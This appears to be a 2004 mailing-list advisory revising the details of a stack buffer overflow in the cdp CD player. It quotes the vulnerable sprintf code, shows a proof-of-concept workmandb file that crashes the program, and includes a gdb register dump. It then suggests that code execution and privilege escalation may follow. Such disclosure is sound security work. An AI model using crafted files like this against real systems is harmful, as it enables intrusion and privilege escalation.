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Message-ID: <20040331182028.20168.qmail@web25106.mail.ukl.yahoo.com> From: shaunige at yahoo.co.uk (Shaun Colley) Subject: Re: cdp buffer overflow vulnerability - updated details Disregard all details I gave on this vulnerability. After re-studying it, and talking with David Ahmad, I came (with help from David) to the conclusion that the issue is slightly different to what I first stated. Revised: Details ######## The buffer overflow occurs in the routine which displays the information for each track, printTOC(). This function prints the track number, track name, and track time information to the screen when a user plays a CD with cdp. This information is extracted and printed from a user's, or shared, workmandb file. Due to lack of bounds checking when preparing and printing this information, a track with a songname which exceeds 200 bytes in length will trigger a buffer overflow. Below is the offending code: --- from cdp.c --- [...] char buffer[ 200 ], ch; [...] printf( "Track Num Start Time Length Name \n" ); for ( ind = 0; ind < cdStatus.thiscd.ntracks; ind++ ) { trk = &cdStatus.thiscd.trk[ ind ]; if ( trk->songname != NULL ) { sprintf( buffer, "%s", trk->songname ); } else buffer[ 0 ] = 0; [...] --- end of snippet --- As can be seen above, an sprintf call is made, copying trk->songname, if a songname exists, into a buffer which is only 200 bytes long. cdp gets the songname (name of the track) when a call to load() is made, which calls search_db() during it's execution flow. In this function, a songname possibly as long as 502 bytes is copied into a cdinfo type struct pointer (safely), which is later used by printTOC() (the vulnerable function) to be copied into 'buffer', which has only 200 bytes allocated, as seen and explained above, thus presenting the possibility of a stack-based buffer overflow, as 'buffer' can often be overflowed by up to 302 bytes. An attacker could craft a malicious workmandb file, because workmandb files are often shared, triggering the buffer overflow, and opening the possibility of arbitrary code execution. Exploitation ############# Exploitation of this issue would require that an attacker creates a workmandb which has a trackname exceeding 200. Since workmandb's are sometimes shared among users, exploitation is made possible. I have developed a proof-of-concept for this issue, which should overflow 'buffer', causing a segmentation fault. A specially crafted workmandb could be created by an attacker to overwrite the instruction pointer (EIP) to direct execution flow elsewhere, thus causing arbitrary code execution. If a user invoked 'cdp', and the malicious workmandb was used, privilege escalation could occur. -- .workmandb # WorkMan database file tracks 20 150 2539 27033 46065 68555 92987 98834 115952 136567 158142 180068 181926 207545 233971 258171 260807 281136 304531 327017 347195 4691 cdname cdpsploit track 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I ran cdp with the following results. -- [root@...alhost root]# cdp Segmentation fault (core dumped) [root@...alhost root]# gdb -c core.3599 [...output snipped...] eax 0x61616161 1633771873 ecx 0x7 7 edx 0x1 1 ebx 0x40180340 1075315520 esp 0xbfffd4c4 0xbfffd4c4 ebp 0xbfffd50c 0xbfffd50c esi 0x61616161 1633771873 edi 0x804ffa3 134545315 eip 0x400ca0fe 0x400ca0fe eflags 0x10212 66066 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 fctrl 0x37f 895 fstat 0x0 0 ftag 0x572b 22315 fiseg 0xf75c 63324 fioff 0x23 35 foseg 0x1f80 8064 fooff 0x2b 43 ---Type <return> to continue, or q <return> to quit--- [...output snipped...] -- As can be seen, we control EAX, and with more garbage data, possibly ESP and/or EIP also. As stated above, shared workmandb files are often used, defined in the 'workman.db.shared' environmental variable (or WORKMANDB variable). If a malicious user can influence the track data contained within this file (possible), exploitation is easily possible. Credit ####### Issue discovered and researched by Shaun Colley - <shaunige yahoo co uk>. Thanks to David Ahmad for the pointers, leading to this revision. Thank you for your time. Shaun. ___________________________________________________________ WIN FREE WORLDWIDE FLIGHTS - nominate a cafe in the Yahoo! Mail Internet Cafe Awards www.yahoo.co.uk/internetcafes
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